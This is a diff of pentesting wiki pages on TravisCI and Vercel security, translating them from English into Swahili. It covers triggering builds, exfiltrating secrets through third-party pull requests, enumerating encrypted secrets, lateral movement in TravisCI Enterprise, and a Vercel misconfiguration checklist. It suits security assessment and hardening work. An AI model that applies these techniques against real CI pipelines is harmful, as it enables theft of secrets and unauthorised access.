b/src/pentesting-ci-cd/travisci-security/README.md @@ -4,7 +4,7 @@ ## What is TravisCI -**Travis CI** is a **hosted** or on **premises** **continuous integration** service used to build and test software projects hosted on several **different git platform**. +**Travis CI** ni huduma ya **kuendelea kuunganisha** iliyohifadhiwa au kwenye **premises** inayotumika kujenga na kujaribu miradi ya programu iliyohifadhiwa kwenye **jukwaa tofauti za git**. {{#ref}} basic-travisci-information.md @@ -14,48 +14,48 @@ basic-travisci-information.md ### Triggers -To launch an attack you first need to know how to trigger a build. By default TravisCI will **trigger a build on pushes and pull requests**: +Ili kuanzisha shambulio, kwanza unahitaji kujua jinsi ya kuanzisha ujenzi. Kwa kawaida, TravisCI itafanya **kuanzisha ujenzi kwenye push na pull requests**: ![](<../../images/image (145).png>) #### Cron Jobs -If you have access to the web application you can **set crons to run the build**, this could be useful for persistence or to trigger a build: +Ikiwa una ufikiaji wa programu ya wavuti, unaweza **kweka crons kuendesha ujenzi**, hii inaweza kuwa muhimu kwa kudumu au kuanzisha ujenzi: ![](<../../images/image (243).png>) > [!NOTE] -> It looks like It's not possible to set crons inside the `.travis.yml` according to [this](https://github.com/travis-ci/travis-ci/issues/9162). +> Inaonekana haiwezekani kuweka crons ndani ya `.travis.yml` kulingana na [hii](https://github.com/travis-ci/travis-ci/issues/9162). ### Third Party PR -TravisCI by default disables sharing env variables with PRs coming from third parties, but someone might enable it and then you could create PRs to the repo and exfiltrate the secrets: +TravisCI kwa kawaida inazima kushiriki mabadiliko ya mazingira na PRs zinazotoka kwa wahusika wengine, lakini mtu anaweza kuweza kuziwasha na kisha unaweza kuunda PRs kwa repo na kuhamasisha siri: ![](<../../images/image (208).png>) ### Dumping Secrets -As explained in the [**basic information**](basic-travisci-information.md) page, there are 2 types of secrets. **Environment Variables secrets** (which are listed in the web page) and **custom encrypted secrets**, which are stored inside the `.travis.yml` file as base64 (note that both as stored encrypted will end as env variables in the final machines). +Kama ilivyoelezwa kwenye ukurasa wa [**basic information**](basic-travisci-information.md), kuna aina 2 za siri. **Siri za Mabadiliko ya Mazingira** (ambazo ziko kwenye ukurasa wa wavuti) na **siri za kawaida zilizofichwa**, ambazo zimehifadhiwa ndani ya faili ya `.travis.yml` kama base64 (kumbuka kwamba zote zikiwa zimehifadhiwa kwa siri zitakuwa kama mabadiliko ya mazingira kwenye mashine za mwisho). -- To **enumerate secrets** configured as **Environment Variables** go to the **settings** of the **project** and check the list. However, note that all the project env variables set here will appear when triggering a build. -- To enumerate the **custom encrypted secrets** the best you can do is to **check the `.travis.yml` file**. -- To **enumerate encrypted files** you can check for **`.enc` files** in the repo, for lines similar to `openssl aes-256-cbc -K $encrypted_355e94ba1091_key -iv $encrypted_355e94ba1091_iv -in super_secret.txt.enc -out super_secret.txt -d` in the config file, or for **encrypted iv and keys** in the **Environment Variables** such as: +- Ili **kuhesabu siri** zilizowekwa kama **Mabadiliko ya Mazingira**, nenda kwenye **mipangilio** ya **mradi** na angalia orodha. Hata hivyo, kumbuka kwamba mabadiliko yote ya mazingira ya mradi yaliyowekwa hapa yataonekana unapofanya ujenzi. +- Ili kuhesabu **siri za kawaida zilizofichwa**, bora unachoweza kufanya ni **kuangalia faili ya `.travis.yml`**. +- Ili **kuhesabu faili zilizofichwa**, unaweza kuangalia kwa **faili za `.enc`** kwenye repo, kwa mistari inayofanana na `openssl aes-256-cbc -K $encrypted_355e94ba1091_key -iv $encrypted_355e94ba1091_iv -in super_secret.txt.enc -out super_secret.txt -d` kwenye faili ya usanidi, au kwa **iv na funguo zilizofichwa** katika **Mabadiliko ya Mazingira** kama: ![](<../../images/image (81).png>) ### TODO: -- Example build with reverse shell running on Windows/Mac/Linux -- Example build leaking the env base64 encoded in the logs +- Mfano wa ujenzi ukiwa na reverse shell ikifanya kazi kwenye Windows/Mac/Linux +- Mfano wa ujenzi ukivuja mabadiliko ya mazingira yaliyofichwa kwa base64 kwenye kumbukumbu ### TravisCI Enterprise -If an attacker ends in an environment which uses **TravisCI enterprise** (more info about what this is in the [**basic information**](basic-travisci-information.md#travisci-enterprise)), he will be able to **trigger builds in the the Worker.** This means that an attacker will be able to move laterally to that server from which he could be able to: +Ikiwa mshambuliaji atakutana na mazingira yanayotumia **TravisCI enterprise** (maelezo zaidi kuhusu hii kwenye [**basic information**](basic-travisci-information.md#travisci-enterprise)), ataweza **kuanzisha ujenzi kwenye Worker.** Hii inamaanisha kwamba mshambuliaji ataweza kuhamasisha kwa upande wa server hiyo kutoka ambayo anaweza: -- escape to the host? -- compromise kubernetes? -- compromise other machines running in the same network? -- compromise new cloud credentials? +- kutoroka kwa mwenyeji? +- kuathiri kubernetes? +- kuathiri mashine nyingine zinazofanya kazi kwenye mtandao huo huo? +- kuathiri akreditivu mpya za wingu? ## References @@ -63,7 +63,3 @@ If an attacker ends in an environment which uses **TravisCI enterprise** (more i - [https://docs.travis-ci.com/user/best-practices-security](https://docs.travis-ci.com/user/best-practices-security) {{#include ../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-ci-cd/travisci-security/basic-travisci-information.md b/src/pentesting-ci-cd/travisci-security/basic-travisci-information.md index 46b10bf38..5111b0454 100644 --- a/src/pentesting-ci-cd/travisci-security/basic-travisci-information.md +++ b/src/pentesting-ci-cd/travisci-security/basic-travisci-information.md @@ -4,45 +4,42 @@ ## Access -TravisCI directly integrates with different git platforms such as Github, Bitbucket, Assembla, and Gitlab. It will ask the user to give TravisCI permissions to access the repos he wants to integrate with TravisCI. +TravisCI moja kwa moja inajumuisha na majukwaa tofauti ya git kama Github, Bitbucket, Assembla, na Gitlab. Itamuuliza mtumiaji kutoa ruhusa kwa TravisCI kuweza kufikia repos anazotaka kuunganisha na TravisCI. -For example, in Github it will ask for the following permissions: +Kwa mfano, katika Github itahitaji ruhusa zifuatazo: -- `user:email` (read-only) -- `read:org` (read-only) -- `repo`: Grants read and write access to code, commit statuses, collaborators, and deployment statuses for public and private repositories and organizations. +- `user:email` (kusoma tu) +- `read:org` (kusoma tu) +- `repo`: Inatoa ruhusa ya kusoma na kuandika kwa msimbo, hali za kujitolea, washirikishi, na hali za kutekeleza kwa hazina za umma na za kibinafsi na mashirika. ## Encrypted Secrets ### Environment Variables -In TravisCI, as in other CI platforms, it's possible to **save at repo level secrets** that will be saved encrypted and be **decrypted and push in the environment variable** of the machine executing the build. +Katika TravisCI, kama ilivyo katika majukwaa mengine ya CI, inawezekana **kuhifadhi siri kwenye kiwango cha repo** ambazo zitahifadhiwa kwa njia ya siri na **kuondolewa na kusukumwa kwenye mabadiliko ya mazingira** ya mashine inayotekeleza ujenzi. ![](<../../images/image (203).png>) -It's possible to indicate the **branches to which the secrets are going to be available** (by default all) and also if TravisCI **should hide its value** if it appears **in the logs** (by default it will). +Inawezekana kuashiria **matawi ambayo siri zitapatikana** (kwa kawaida yote) na pia kama TravisCI **inapaswa kuficha thamani yake** ikiwa itaonekana **katika kumbukumbu** (kwa kawaida itafanya hivyo). ### Custom Encrypted Secrets -For **each repo** TravisCI generates an **RSA keypair**, **keeps** the **private** one, and makes the repositoryā€™s **public key available** to those who have **access** to the repository. - -You can access the public key of one repo with: +Kwa **kila repo** TravisCI inazalisha **RSA keypair**, **inaweka** ile **binafsi**, na inafanya **funguo za umma za hazina** kupatikana kwa wale walio na **ufikiaji** wa hazina hiyo. +Unaweza kufikia funguo za umma za repo moja kwa: ``` travis pubkey -r / travis pubkey -r carlospolop/t-ci-test ``` - -Then, you can use this setup to **encrypt secrets and add them to your `.travis.yaml`**. The secrets will be **decrypted when the build is run** and accessible in the **environment variables**. +Kisha, unaweza kutumia mipangilio hii **kuweka siri na kuziongeza kwenye `.travis.yaml`**. Siri zitakuwa **zinatolewa wakati ujenzi unafanywa** na zinapatikana katika **mabadiliko ya mazingira**. ![](<../../images/image (139).png>) -Note that the secrets encrypted this way won't appear listed in the environmental variables of the settings. +Kumbuka kwamba siri zilizowekwa kwa njia hii hazitaonekana kwenye orodha ya mabadiliko ya mazingira ya mipangilio. -### Custom Encrypted Files - -Same way as before, TravisCI also allows to **encrypt files and then decrypt them during the build**: +### Faili za Kijalala Zilizowekwa +Kwa njia ile ile kama hapo awali, TravisCI pia inaruhusu **kuweka faili na kisha kuzitoa wakati wa ujenzi**: ``` travis encrypt-file super_secret.txt -r carlospolop/t-ci-test @@ -52,7 +49,7 @@ storing secure env variables for decryption Please add the following to your build script (before_install stage in your .travis.yml, for instance): - openssl aes-256-cbc -K $encrypted_355e94ba1091_key -iv $encrypted_355e94ba1091_iv -in super_secret.txt.enc -out super_secret.txt -d +openssl aes-256-cbc -K $encrypted_355e94ba1091_key -iv $encrypted_355e94ba1091_iv -in super_secret.txt.enc -out super_secret.txt -d Pro Tip: You can add it automatically by running with --add. @@ -60,37 +57,32 @@ Make sure to add super_secret.txt.enc to the git repository. Make sure not to add super_secret.txt to the git repository. Commit all changes to your .travis.yml. ``` - Note that when encrypting a file 2 Env Variables will be configured inside the repo such as: ![](<../../images/image (170).png>) ## TravisCI Enterprise -Travis CI Enterprise is an **on-prem version of Travis CI**, which you can deploy **in your infrastructure**. Think of the ā€˜serverā€™ version of Travis CI. Using Travis CI allows you to enable an easy-to-use Continuous Integration/Continuous Deployment (CI/CD) system in an environment, which you can configure and secure as you want to. +Travis CI Enterprise ni **toleo la ndani la Travis CI**, ambalo unaweza kupeleka **katika miundombinu yako**. Fikiria kuhusu toleo la 'server' la Travis CI. Kutumia Travis CI kunakuwezesha kuwezesha mfumo rahisi wa Kuendelea Kuunganisha/Kuendelea Kuweka (CI/CD) katika mazingira, ambayo unaweza kuunda na kulinda kama unavyotaka. -**Travis CI Enterprise consists of two major parts:** +**Travis CI Enterprise ina sehemu mbili kuu:** -1. TCI **services** (or TCI Core Services), responsible for integration with version control systems, authorizing builds, scheduling build jobs, etc. -2. TCI **Worker** and build environment images (also called OS images). +1. TCI **huduma** (au TCI Core Services), inayohusika na kuunganishwa na mifumo ya kudhibiti toleo, kuidhinisha ujenzi, kupanga kazi za ujenzi, nk. +2. TCI **Worker** na picha za mazingira ya ujenzi (pia huitwa picha za OS). -**TCI Core services require the following:** +**Huduma za TCI Core zinahitaji yafuatayo:** -1. A **PostgreSQL11** (or later) database. -2. An infrastructure to deploy a Kubernetes cluster; it can be deployed in a server cluster or in a single machine if required -3. Depending on your setup, you may want to deploy and configure some of the components on your own, e.g., RabbitMQ - see the [Setting up Travis CI Enterprise](https://docs.travis-ci.com/user/enterprise/tcie-3.x-setting-up-travis-ci-enterprise/) for more details. +1. Hifadhidata ya **PostgreSQL11** (au baadaye). +2. Miundombinu ya kupeleka klasta ya Kubernetes; inaweza kupelekwa katika klasta ya seva au katika mashine moja ikiwa inahitajika. +3. Kulingana na mipangilio yako, unaweza kutaka kupeleka na kuunda baadhi ya vipengele mwenyewe, mfano, RabbitMQ - angalia [Kuweka Travis CI Enterprise](https://docs.travis-ci.com/user/enterprise/tcie-3.x-setting-up-travis-ci-enterprise/) kwa maelezo zaidi. -**TCI Worker requires the following:** +**Worker wa TCI unahitaji yafuatayo:** -1. An infrastructure where a docker image containing the **Worker and a linked build image can be deployed**. -2. Connectivity to certain Travis CI Core Services components - see the [Setting Up Worker](https://docs.travis-ci.com/user/enterprise/setting-up-worker/) for more details. +1. Miundombinu ambapo picha ya docker inayojumuisha **Worker na picha ya ujenzi iliyounganishwa inaweza kupelekwa**. +2. Uunganisho kwa baadhi ya vipengele vya Huduma za Msingi za Travis CI - angalia [Kuweka Worker](https://docs.travis-ci.com/user/enterprise/setting-up-worker/) kwa maelezo zaidi. -The amount of deployed TCI Worker and build environment OS images will determine the total concurrent capacity of Travis CI Enterprise deployment in your infrastructure. +Kiasi cha picha za OS za TCI Worker na mazingira ya ujenzi zilizopelekwa kitaamua uwezo wa jumla wa sambamba wa kupeleka Travis CI Enterprise katika miundombinu yako. ![](<../../images/image (199).png>) {{#include ../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-ci-cd/vercel-security.md b/src/pentesting-ci-cd/vercel-security.md index 16dc93da7..5c143a8cf 100644 --- a/src/pentesting-ci-cd/vercel-security.md +++ b/src/pentesting-ci-cd/vercel-security.md @@ -4,160 +4,160 @@ ## Basic Information -In Vercel a **Team** is the complete **environment** that belongs a client and a **project** is an **application**. +Katika Vercel, **Team** ni **environment** kamili inayomilikiwa na mteja na **project** ni **application**. -For a hardening review of **Vercel** you need to ask for a user with **Viewer role permission** or at least **Project viewer permission over the projects** to check (in case you only need to check the projects and not the Team configuration also). +Kwa ajili ya ukaguzi wa kuimarisha wa **Vercel**, unahitaji kuomba mtumiaji mwenye **Viewer role permission** au angalau **Project viewer permission over the projects** ili kuangalia (ikiwa unahitaji tu kuangalia miradi na si usanidi wa Team pia). ## Project Settings ### General -**Purpose:** Manage fundamental project settings such as project name, framework, and build configurations. +**Purpose:** Kusimamia mipangilio ya msingi ya mradi kama vile jina la mradi, mfumo, na mipangilio ya kujenga. #### Security Configurations: - **Transfer** - - **Misconfiguration:** Allows to transfer the project to another team - - **Risk:** An attacker could steal the project +- **Misconfiguration:** Inaruhusu kuhamasisha mradi kwa timu nyingine +- **Risk:** Mshambuliaji anaweza kuiba mradi - **Delete Project** - - **Misconfiguration:** Allows to delete the project - - **Risk:** Delete the prject +- **Misconfiguration:** Inaruhusu kufuta mradi +- **Risk:** Futa mradi --- ### Domains -**Purpose:** Manage custom domains, DNS settings, and SSL configurations. +**Purpose:** Kusimamia maeneo maalum, mipangilio ya DNS, na mipangilio ya SSL. #### Security Configurations: - **DNS Configuration Errors** - - **Misconfiguration:** Incorrect DNS records (A, CNAME) pointing to malicious servers. - - **Risk:** Domain hijacking, traffic interception, and phishing attacks. +- **Misconfiguration:** Rekodi za DNS zisizo sahihi (A, CNAME) zinazoelekeza kwenye seva za uhalifu. +- **Risk:** Hijacking ya domain, kukamata trafiki, na mashambulizi ya phishing. - **SSL/TLS Certificate Management** - - **Misconfiguration:** Using weak or expired SSL/TLS certificates. - - **Risk:** Vulnerable to man-in-the-middle (MITM) attacks, compromising data integrity and confidentiality. +- **Misconfiguration:** Kutumia vyeti dhaifu au vilivyokwisha muda. +- **Risk:** Kuwa hatarini kwa mashambulizi ya mtu katikati (MITM), kuathiri uaminifu wa data na faragha. - **DNSSEC Implementation** - - **Misconfiguration:** Failing to enable DNSSEC or incorrect DNSSEC settings. - - **Risk:** Increased susceptibility to DNS spoofing and cache poisoning attacks. +- **Misconfiguration:** Kukosa kuwezesha DNSSEC au mipangilio isiyo sahihi ya DNSSEC. +- **Risk:** Kuongezeka kwa uwezekano wa DNS spoofing na mashambulizi ya cache poisoning. - **Environment used per domain** - - **Misconfiguration:** Change the environment used by the domain in production. - - **Risk:** Expose potential secrets or functionalities taht shouldn't be available in production. +- **Misconfiguration:** Kubadilisha mazingira yanayotumika na domain katika uzalishaji. +- **Risk:** Kuonyesha siri au kazi zinazoweza kuwa hazipatikani katika uzalishaji. --- ### Environments -**Purpose:** Define different environments (Development, Preview, Production) with specific settings and variables. +**Purpose:** Mwelekeo wa mazingira tofauti (Development, Preview, Production) na mipangilio maalum na vigezo. #### Security Configurations: - **Environment Isolation** - - **Misconfiguration:** Sharing environment variables across environments. - - **Risk:** Leakage of production secrets into development or preview environments, increasing exposure. +- **Misconfiguration:** Kushiriki vigezo vya mazingira kati ya mazingira. +- **Risk:** Kuvuja kwa siri za uzalishaji katika mazingira ya maendeleo au mapitio, kuongezeka kwa uwezekano wa kufichuliwa. - **Access to Sensitive Environments** - - **Misconfiguration:** Allowing broad access to production environments. - - **Risk:** Unauthorized changes or access to live applications, leading to potential downtimes or data breaches. +- **Misconfiguration:** Kuruhusu ufikiaji mpana kwa mazingira ya uzalishaji. +- **Risk:** Mabadiliko yasiyoidhinishwa au ufikiaji wa maombi ya moja kwa moja, kupelekea uwezekano wa kushindwa au uvunjaji wa data. --- ### Environment Variables -**Purpose:** Manage environment-specific variables and secrets used by the application. +**Purpose:** Kusimamia vigezo maalum vya mazingira na siri zinazotumika na application. #### Security Configurations: - **Exposing Sensitive Variables** - - **Misconfiguration:** Prefixing sensitive variables with `NEXT_PUBLIC_`, making them accessible on the client side. - - **Risk:** Exposure of API keys, database credentials, or other sensitive data to the public, leading to data breaches. +- **Misconfiguration:** Kuongeza alama ya `NEXT_PUBLIC_` kwa vigezo nyeti, na kuifanya ipatikane upande wa mteja. +- **Risk:** Kuonyeshwa kwa funguo za API, akidi za database, au data nyingine nyeti kwa umma, kupelekea uvunjaji wa data. - **Sensitive disabled** - - **Misconfiguration:** If disabled (default) it's possible to read the values of the generated secrets. - - **Risk:** Increased likelihood of accidental exposure or unauthorized access to sensitive information. +- **Misconfiguration:** Ikiwa imezimwa (kawaida) inawezekana kusoma thamani za siri zilizozalishwa. +- **Risk:** Kuongezeka kwa uwezekano wa kufichuliwa kwa bahati mbaya au ufikiaji usioidhinishwa wa taarifa nyeti. - **Shared Environment Variables** - - **Misconfiguration:** These are env variables set at Team level and could also contain sensitive information. - - **Risk:** Increased likelihood of accidental exposure or unauthorized access to sensitive information. +- **Misconfiguration:** Hizi ni vigezo vya mazingira vilivyowekwa katika kiwango cha Team na vinaweza pia kuwa na taarifa nyeti. +- **Risk:** Kuongezeka kwa uwezekano wa kufichuliwa kwa bahati mbaya au ufikiaji usioidhinishwa wa taarifa nyeti. --- ### Git -**Purpose:** Configure Git repository integrations, branch protections, and deployment triggers. +**Purpose:** Kuunda mipangilio ya Git repository, ulinzi wa matawi, na vichocheo vya kutekeleza. #### Security Configurations: - **Ignored Build Step (TODO)** - - **Misconfiguration:** It looks like this option allows to configure a bash script/commands that will be executed when a new commit is pushed in Github, which could allow RCE. - - **Risk:** TBD +- **Misconfiguration:** Inaonekana kama chaguo hili linaruhusu kuunda script/maagizo ya bash ambayo yatatekelezwa wakati commit mpya inasukumwa katika Github, ambayo inaweza kuruhusu RCE. +- **Risk:** TBD --- ### Integrations -**Purpose:** Connect third-party services and tools to enhance project functionalities. +**Purpose:** Kuunganisha huduma na zana za upande wa tatu ili kuboresha kazi za mradi. #### Security Configurations: - **Insecure Third-Party Integrations** - - **Misconfiguration:** Integrating with untrusted or insecure third-party services. - - **Risk:** Introduction of vulnerabilities, data leaks, or backdoors through compromised integrations. +- **Misconfiguration:** Kuunganisha na huduma za upande wa tatu zisizoaminika au zisizo salama. +- **Risk:** Kuanzisha udhaifu, kuvuja kwa data, au milango ya nyuma kupitia uunganisho ulioathirika. - **Over-Permissioned Integrations** - - **Misconfiguration:** Granting excessive permissions to integrated services. - - **Risk:** Unauthorized access to project resources, data manipulation, or service disruptions. +- **Misconfiguration:** Kutoa ruhusa nyingi kwa huduma zilizounganishwa. +- **Risk:** Ufikiaji usioidhinishwa wa rasilimali za mradi, urekebishaji wa data, au usumbufu wa huduma. - **Lack of Integration Monitoring** - - **Misconfiguration:** Failing to monitor and audit third-party integrations. - - **Risk:** Delayed detection of compromised integrations, increasing the potential impact of security breaches. +- **Misconfiguration:** Kukosa kufuatilia na kukagua uunganisho wa upande wa tatu. +- **Risk:** Ugunduzi wa kuchelewa wa uunganisho ulioathirika, kuongezeka kwa athari za uvunjaji wa usalama. --- ### Deployment Protection -**Purpose:** Secure deployments through various protection mechanisms, controlling who can access and deploy to your environments. +**Purpose:** Kulinda kutekeleza kupitia mitambo mbalimbali ya ulinzi, kudhibiti nani anaweza kufikia na kutekeleza kwenye mazingira yako. #### Security Configurations: **Vercel Authentication** -- **Misconfiguration:** Disabling authentication or not enforcing team member checks. -- **Risk:** Unauthorized users can access deployments, leading to data breaches or application misuse. +- **Misconfiguration:** Kuondoa uthibitisho au kutotekeleza ukaguzi wa wanachama wa timu. +- **Risk:** Watumiaji wasioidhinishwa wanaweza kufikia kutekeleza, kupelekea uvunjaji wa data au matumizi mabaya ya application. **Protection Bypass for Automation** -- **Misconfiguration:** Exposing the bypass secret publicly or using weak secrets. -- **Risk:** Attackers can bypass deployment protections, accessing and manipulating protected deployments. +- **Misconfiguration:** Kuonyesha siri ya bypass hadharani au kutumia siri dhaifu. +- **Risk:** Wavamizi wanaweza kupita ulinzi wa kutekeleza, wakipata na kubadilisha kutekeleza kulindwa. **Shareable Links** -- **Misconfiguration:** Sharing links indiscriminately or failing to revoke outdated links. -- **Risk:** Unauthorized access to protected deployments, bypassing authentication and IP restrictions. +- **Misconfiguration:** Kushiriki viungo bila kuchuja au kukosa kufuta viungo vya zamani. +- **Risk:** Ufikiaji usioidhinishwa wa kutekeleza kulindwa, kupita uthibitisho na vizuizi vya IP. **OPTIONS Allowlist** -- **Misconfiguration:** Allowlisting overly broad paths or sensitive endpoints. -- **Risk:** Attackers can exploit unprotected paths to perform unauthorized actions or bypass security checks. +- **Misconfiguration:** Kuruhusu njia pana sana au mwisho wa nyeti. +- **Risk:** Wavamizi wanaweza kutumia njia zisizo salama kufanya vitendo visivyoidhinishwa au kupita ukaguzi wa usalama. **Password Protection** -- **Misconfiguration:** Using weak passwords or sharing them insecurely. -- **Risk:** Unauthorized access to deployments if passwords are guessed or leaked. -- **Note:** Available on the **Pro** plan as part of **Advanced Deployment Protection** for an additional $150/month. +- **Misconfiguration:** Kutumia nywila dhaifu au kuzishiriki kwa njia isiyo salama. +- **Risk:** Ufikiaji usioidhinishwa wa kutekeleza ikiwa nywila zitakisiwa au kuvuja. +- **Note:** Inapatikana kwenye mpango wa **Pro** kama sehemu ya **Advanced Deployment Protection** kwa $150/ mwezi zaidi. **Deployment Protection Exceptions** -- **Misconfiguration:** Adding production or sensitive domains to the exception list inadvertently. -- **Risk:** Exposure of critical deployments to the public, leading to data leaks or unauthorized access. -- **Note:** Available on the **Pro** plan as part of **Advanced Deployment Protection** for an additional $150/month. +- **Misconfiguration:** Kuongeza maeneo ya uzalishaji au nyeti kwenye orodha ya visingizio bila kukusudia. +- **Risk:** Kuonyesha kutekeleza muhimu kwa umma, kupelekea kuvuja kwa data au ufikiaji usioidhinishwa. +- **Note:** Inapatikana kwenye mpango wa **Pro** kama sehemu ya **Advanced Deployment Protection** kwa $150/ mwezi zaidi. **Trusted IPs** -- **Misconfiguration:** Incorrectly specifying IP addresses or CIDR ranges. -- **Risk:** Legitimate users being blocked or unauthorized IPs gaining access. -- **Note:** Available on the **Enterprise** plan. +- **Misconfiguration:** Kuweka vibaya anwani za IP au anuwai za CIDR. +- **Risk:** Watumiaji halali kuzuia au IP zisizoidhinishwa kupata ufikiaji. +- **Note:** Inapatikana kwenye mpango wa **Enterprise**. --- ### Functions -**Purpose:** Configure serverless functions, including runtime settings, memory allocation, and security policies. +**Purpose:** Kuunda mipangilio ya kazi zisizo na seva, ikiwa ni pamoja na mipangilio ya wakati, ugawaji wa kumbukumbu, na sera za usalama. #### Security Configurations: @@ -167,81 +167,81 @@ For a hardening review of **Vercel** you need to ask for a user with **Viewer ro ### Data Cache -**Purpose:** Manage caching strategies and settings to optimize performance and control data storage. +**Purpose:** Kusimamia mikakati na mipangilio ya caching ili kuboresha utendaji na kudhibiti uhifadhi wa data. #### Security Configurations: - **Purge Cache** - - **Misconfiguration:** It allows to delete all the cache. - - **Risk:** Unauthorized users deleting the cache leading to a potential DoS. +- **Misconfiguration:** Inaruhusu kufuta cache yote. +- **Risk:** Watumiaji wasioidhinishwa wakifuta cache kupelekea uwezekano wa DoS. --- ### Cron Jobs -**Purpose:** Schedule automated tasks and scripts to run at specified intervals. +**Purpose:** Kuunda kazi za kiotomatiki na scripts kuendesha kwa vipindi vilivyotajwa. #### Security Configurations: - **Disable Cron Job** - - **Misconfiguration:** It allows to disable cron jobs declared inside the code - - **Risk:** Potential interruption of the service (depending on what the cron jobs were meant for) +- **Misconfiguration:** Inaruhusu kuzima kazi za cron zilizotangazwa ndani ya msimbo +- **Risk:** Ukatishaji wa huduma (kutegemea ni nini kazi za cron zilikuwa zikitumika) --- ### Log Drains -**Purpose:** Configure external logging services to capture and store application logs for monitoring and auditing. +**Purpose:** Kuunda huduma za nje za kuandika ili kukamata na kuhifadhi kumbukumbu za application kwa ajili ya kufuatilia na kukagua. #### Security Configurations: -- Nothing (managed from teams settings) +- Nothing (inayosimamiwa kutoka mipangilio ya timu) --- ### Security -**Purpose:** Central hub for various security-related settings affecting project access, source protection, and more. +**Purpose:** Kituo cha kati kwa mipangilio mbalimbali zinazohusiana na usalama zinazoathiri ufikiaji wa mradi, ulinzi wa chanzo, na zaidi. #### Security Configurations: **Build Logs and Source Protection** -- **Misconfiguration:** Disabling protection or exposing `/logs` and `/src` paths publicly. -- **Risk:** Unauthorized access to build logs and source code, leading to information leaks and potential exploitation of vulnerabilities. +- **Misconfiguration:** Kuondoa ulinzi au kuonyesha njia za `/logs` na `/src` hadharani. +- **Risk:** Ufikiaji usioidhinishwa wa kumbukumbu za kujenga na msimbo wa chanzo, kupelekea kuvuja kwa taarifa na uwezekano wa kutumia udhaifu. **Git Fork Protection** -- **Misconfiguration:** Allowing unauthorized pull requests without proper reviews. -- **Risk:** Malicious code can be merged into the codebase, introducing vulnerabilities or backdoors. +- **Misconfiguration:** Kuruhusu ombi zisizoidhinishwa bila ukaguzi sahihi. +- **Risk:** Msimbo mbaya unaweza kuunganishwa kwenye msingi wa msimbo, kuanzisha udhaifu au milango ya nyuma. **Secure Backend Access with OIDC Federation** -- **Misconfiguration:** Incorrectly setting up OIDC parameters or using insecure issuer URLs. -- **Risk:** Unauthorized access to backend services through flawed authentication flows. +- **Misconfiguration:** Kuweka vibaya vigezo vya OIDC au kutumia URL zisizo salama za mtoaji. +- **Risk:** Ufikiaji usioidhinishwa wa huduma za nyuma kupitia mchakato wa uthibitisho ulio na kasoro. **Deployment Retention Policy** -- **Misconfiguration:** Setting retention periods too short (losing deployment history) or too long (unnecessary data retention). -- **Risk:** Inability to perform rollbacks when needed or increased risk of data exposure from old deployments. +- **Misconfiguration:** Kuweka vipindi vya uhifadhi kuwa vifupi sana (kupoteza historia ya kutekeleza) au virefu sana (uhifadhi wa data usio wa lazima). +- **Risk:** Kutokuweza kufanya kurudi nyuma inapohitajika au kuongezeka kwa hatari ya kufichuliwa kwa data kutoka kwa kutekeleza zamani. **Recently Deleted Deployments** -- **Misconfiguration:** Not monitoring deleted deployments or relying solely on automated deletions. -- **Risk:** Loss of critical deployment history, hindering audits and rollbacks. +- **Misconfiguration:** Kukosa kufuatilia kutekeleza zilizofutwa au kutegemea tu kufutwa kwa kiotomatiki. +- **Risk:** Kupoteza historia muhimu ya kutekeleza, kuzuia ukaguzi na kurudi nyuma. --- ### Advanced -**Purpose:** Access to additional project settings for fine-tuning configurations and enhancing security. +**Purpose:** Ufikiaji wa mipangilio ya ziada ya mradi kwa ajili ya kuboresha mipangilio na kuimarisha usalama. #### Security Configurations: **Directory Listing** -- **Misconfiguration:** Enabling directory listing allows users to view directory contents without an index file. -- **Risk:** Exposure of sensitive files, application structure, and potential entry points for attacks. +- **Misconfiguration:** Kuwezesha orodha ya orodha kunaruhusu watumiaji kuona maudhui ya orodha bila faili ya index. +- **Risk:** Kuonyeshwa kwa faili nyeti, muundo wa application, na maeneo yanayoweza kuwa na hatari kwa mashambulizi. --- @@ -253,13 +253,13 @@ For a hardening review of **Vercel** you need to ask for a user with **Viewer ro **Enable Attack Challenge Mode** -- **Misconfiguration:** Enabling this improves the defenses of the web application against DoS but at the cost of usability -- **Risk:** Potential user experience problems. +- **Misconfiguration:** Kuwezesha hii kunaboresha ulinzi wa application ya wavuti dhidi ya DoS lakini kwa gharama ya matumizi +- **Risk:** Matatizo ya uwezekano wa uzoefu wa mtumiaji. ### Custom Rules & IP Blocking -- **Misconfiguration:** Allows to unblock/block traffic -- **Risk:** Potential DoS allowing malicious traffic or blocking benign traffic +- **Misconfiguration:** Inaruhusu kuzuia/kufungua trafiki +- **Risk:** Uwezekano wa DoS ukiruhusu trafiki ya uhalifu au kuzuia trafiki ya halali --- @@ -267,13 +267,13 @@ For a hardening review of **Vercel** you need to ask for a user with **Viewer ro ### Source -- **Misconfiguration:** Allows access to read the complete source code of the application -- **Risk:** Potential exposure of sensitive information +- **Misconfiguration:** Inaruhusu ufikiaji wa kusoma msimbo kamili wa application +- **Risk:** Uwezekano wa kufichuliwa kwa taarifa nyeti ### Skew Protection -- **Misconfiguration:** This protection ensures the client and server application are always using the same version so there is no desynchronizations were the client uses a different version from the server and therefore they don't understand each other. -- **Risk:** Disabling this (if enabled) could cause DoS problems in new deployments in the future +- **Misconfiguration:** Ulinzi huu unahakikisha mteja na application ya seva kila wakati wanatumia toleo sawa ili kusiwe na kutokuelewana ambapo mteja anatumia toleo tofauti na seva na hivyo hawaelewani. +- **Risk:** Kuondoa hii (ikiwa imewezeshwa) kunaweza kusababisha matatizo ya DoS katika kutekeleza mpya siku zijazo --- @@ -284,11 +284,11 @@ For a hardening review of **Vercel** you need to ask for a user with **Viewer ro #### Security Configurations: - **Transfer** - - **Misconfiguration:** Allows to transfer all the projects to another team - - **Risk:** An attacker could steal the projects +- **Misconfiguration:** Inaruhusu kuhamasisha miradi yote kwa timu nyingine +- **Risk:** Mshambuliaji anaweza kuiba miradi - **Delete Project** - - **Misconfiguration:** Allows to delete the team with all the projects - - **Risk:** Delete the projects +- **Misconfiguration:** Inaruhusu kufuta timu na miradi yote +- **Risk:** Futa miradi --- @@ -297,8 +297,8 @@ For a hardening review of **Vercel** you need to ask for a user with **Viewer ro #### Security Configurations: - **Speed Insights Cost Limit** - - **Misconfiguration:** An attacker could increase this number - - **Risk:** Increased costs +- **Misconfiguration:** Mshambuliaji anaweza kuongeza nambari hii +- **Risk:** Kuongezeka kwa gharama --- @@ -307,25 +307,25 @@ For a hardening review of **Vercel** you need to ask for a user with **Viewer ro #### Security Configurations: - **Add members** - - **Misconfiguration:** An attacker could maintain persitence inviting an account he control - - **Risk:** Attacker 